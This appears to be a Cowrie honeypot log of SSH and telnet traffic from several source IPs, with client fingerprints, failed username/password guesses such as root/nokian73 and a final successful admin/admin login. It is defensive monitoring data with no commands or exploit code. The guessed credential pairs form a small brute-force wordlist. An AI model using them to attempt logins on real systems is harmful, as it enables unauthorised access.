{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:17.121223Z","src_ip":"43.130.38.88","session":"60ea72eacf44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"password","message":"login attempt [mysql/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:17.430844Z","src_ip":"43.130.38.88","session":"60ea72eacf44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:17.452769Z","src_ip":"120.27.154.152","session":"7cdd62c33bc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:18.503927Z","src_ip":"43.130.38.88","session":"60ea72eacf44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":37956,"dst_ip":"10.17.0.5","dst_port":22,"session":"8db27e61f6cb","protocol":"ssh","message":"New connection: 2.57.121.25:37956 (10.17.0.5:22) [session: 8db27e61f6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:18.794696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:18.803142Z","src_ip":"2.57.121.25","session":"8db27e61f6cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:18.908781Z","src_ip":"2.57.121.25","session":"8db27e61f6cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22041974","message":"login attempt [user/22041974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:19.405474Z","src_ip":"2.57.121.25","session":"8db27e61f6cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":48628,"dst_ip":"159.203.135.109","dst_port":22,"session":"58f0431bd6f7","protocol":"ssh","message":"New connection: 103.77.242.62:48628 (159.203.135.109:22) [session: 58f0431bd6f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:19.958482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:19.963200Z","src_ip":"103.77.242.62","session":"58f0431bd6f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:20.199449Z","src_ip":"103.77.242.62","session":"58f0431bd6f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22031982","message":"login attempt [user/22031982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:20.513892Z","src_ip":"2.57.121.25","session":"8db27e61f6cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokian73","message":"login attempt [root/nokian73] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:20.912352Z","src_ip":"103.77.242.62","session":"58f0431bd6f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.230.231","src_port":42650,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3303372adfd","protocol":"ssh","message":"New connection: 45.78.230.231:42650 (10.17.0.5:22) [session: b3303372adfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:20.979073Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"211289","message":"login attempt [user/211289] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:21.623423Z","src_ip":"2.57.121.25","session":"8db27e61f6cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:22.152379Z","src_ip":"103.77.242.62","session":"58f0431bd6f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56586,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9f6fc7b0432","protocol":"telnet","message":"New connection: 152.42.224.71:56586 (10.17.0.5:23) [session: e9f6fc7b0432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:22.647738Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"211285","message":"login attempt [user/211285] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:22.733198Z","src_ip":"2.57.121.25","session":"8db27e61f6cb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:22.949184Z","src_ip":"45.78.230.231","session":"b3303372adfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:23.191685Z","src_ip":"45.78.230.231","session":"b3303372adfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21111975","message":"login attempt [user/21111975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:23.844136Z","src_ip":"2.57.121.25","session":"8db27e61f6cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.27.154.152","src_port":64708,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d7c56985374","protocol":"ssh","message":"New connection: 120.27.154.152:64708 (159.203.135.109:22) [session: 4d7c56985374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:24.427790Z"}
{"eventid":"cowrie.session.closed","duration":33.772014141082764,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:24.565403Z","src_ip":"152.42.224.71","session":"7142ade6bce7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"stupid","message":"login attempt [root/stupid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:24.778611Z","src_ip":"45.78.230.231","session":"b3303372adfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:24.953414Z","src_ip":"2.57.121.25","session":"8db27e61f6cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:27.187698Z","src_ip":"45.78.230.231","session":"b3303372adfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.18151044845581,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:29.683600Z","src_ip":"152.42.224.71","session":"1eccb76d3217","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":44572,"dst_ip":"10.17.0.5","dst_port":22,"session":"11d7752c3dc4","protocol":"ssh","message":"New connection: 192.169.250.238:44572 (10.17.0.5:22) [session: 11d7752c3dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:37.870510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:37.887372Z","src_ip":"192.169.250.238","session":"11d7752c3dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:37.976291Z","src_ip":"192.169.250.238","session":"11d7752c3dc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sonar123","message":"login attempt [root/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:38.271097Z","src_ip":"192.169.250.238","session":"11d7752c3dc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:39.352119Z","src_ip":"192.169.250.238","session":"11d7752c3dc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":59164,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4a578b74814","protocol":"ssh","message":"New connection: 43.135.177.217:59164 (10.17.0.5:22) [session: a4a578b74814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:39.458558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:39.463792Z","src_ip":"43.135.177.217","session":"a4a578b74814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:39.532938Z","src_ip":"43.135.177.217","session":"a4a578b74814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ahti","message":"login attempt [root/ahti] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:39.841357Z","src_ip":"43.135.177.217","session":"a4a578b74814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:40.913217Z","src_ip":"43.135.177.217","session":"a4a578b74814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":44016,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0d1df840b7c","protocol":"ssh","message":"New connection: 43.153.31.20:44016 (159.203.135.109:22) [session: c0d1df840b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:42.313005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:42.317201Z","src_ip":"43.153.31.20","session":"c0d1df840b7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:42.386346Z","src_ip":"43.153.31.20","session":"c0d1df840b7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123","message":"login attempt [dev/dev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:42.694439Z","src_ip":"43.153.31.20","session":"c0d1df840b7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2298,"dst_ip":"10.17.0.5","dst_port":22,"session":"380a47cb19f0","protocol":"ssh","message":"New connection: 87.251.64.176:2298 (10.17.0.5:22) [session: 380a47cb19f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:43.613889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:43.618457Z","src_ip":"87.251.64.176","session":"380a47cb19f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:43.715284Z","src_ip":"87.251.64.176","session":"380a47cb19f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:43.766383Z","src_ip":"43.153.31.20","session":"c0d1df840b7c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:20:44.012480Z","src_ip":"87.251.64.176","session":"380a47cb19f0","protocol":"ssh"}
